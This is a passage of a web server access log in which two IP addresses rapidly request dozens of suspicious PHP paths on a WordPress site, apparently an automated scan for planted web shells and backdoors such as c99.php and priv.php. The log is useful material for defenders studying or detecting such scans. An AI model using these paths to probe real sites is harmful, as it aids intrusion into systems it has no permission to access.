Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:02 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:03 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:03 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:03 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:04 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:05 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:05 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:05 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:05 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:05 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:05 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:06 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:07 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:07 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:07 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 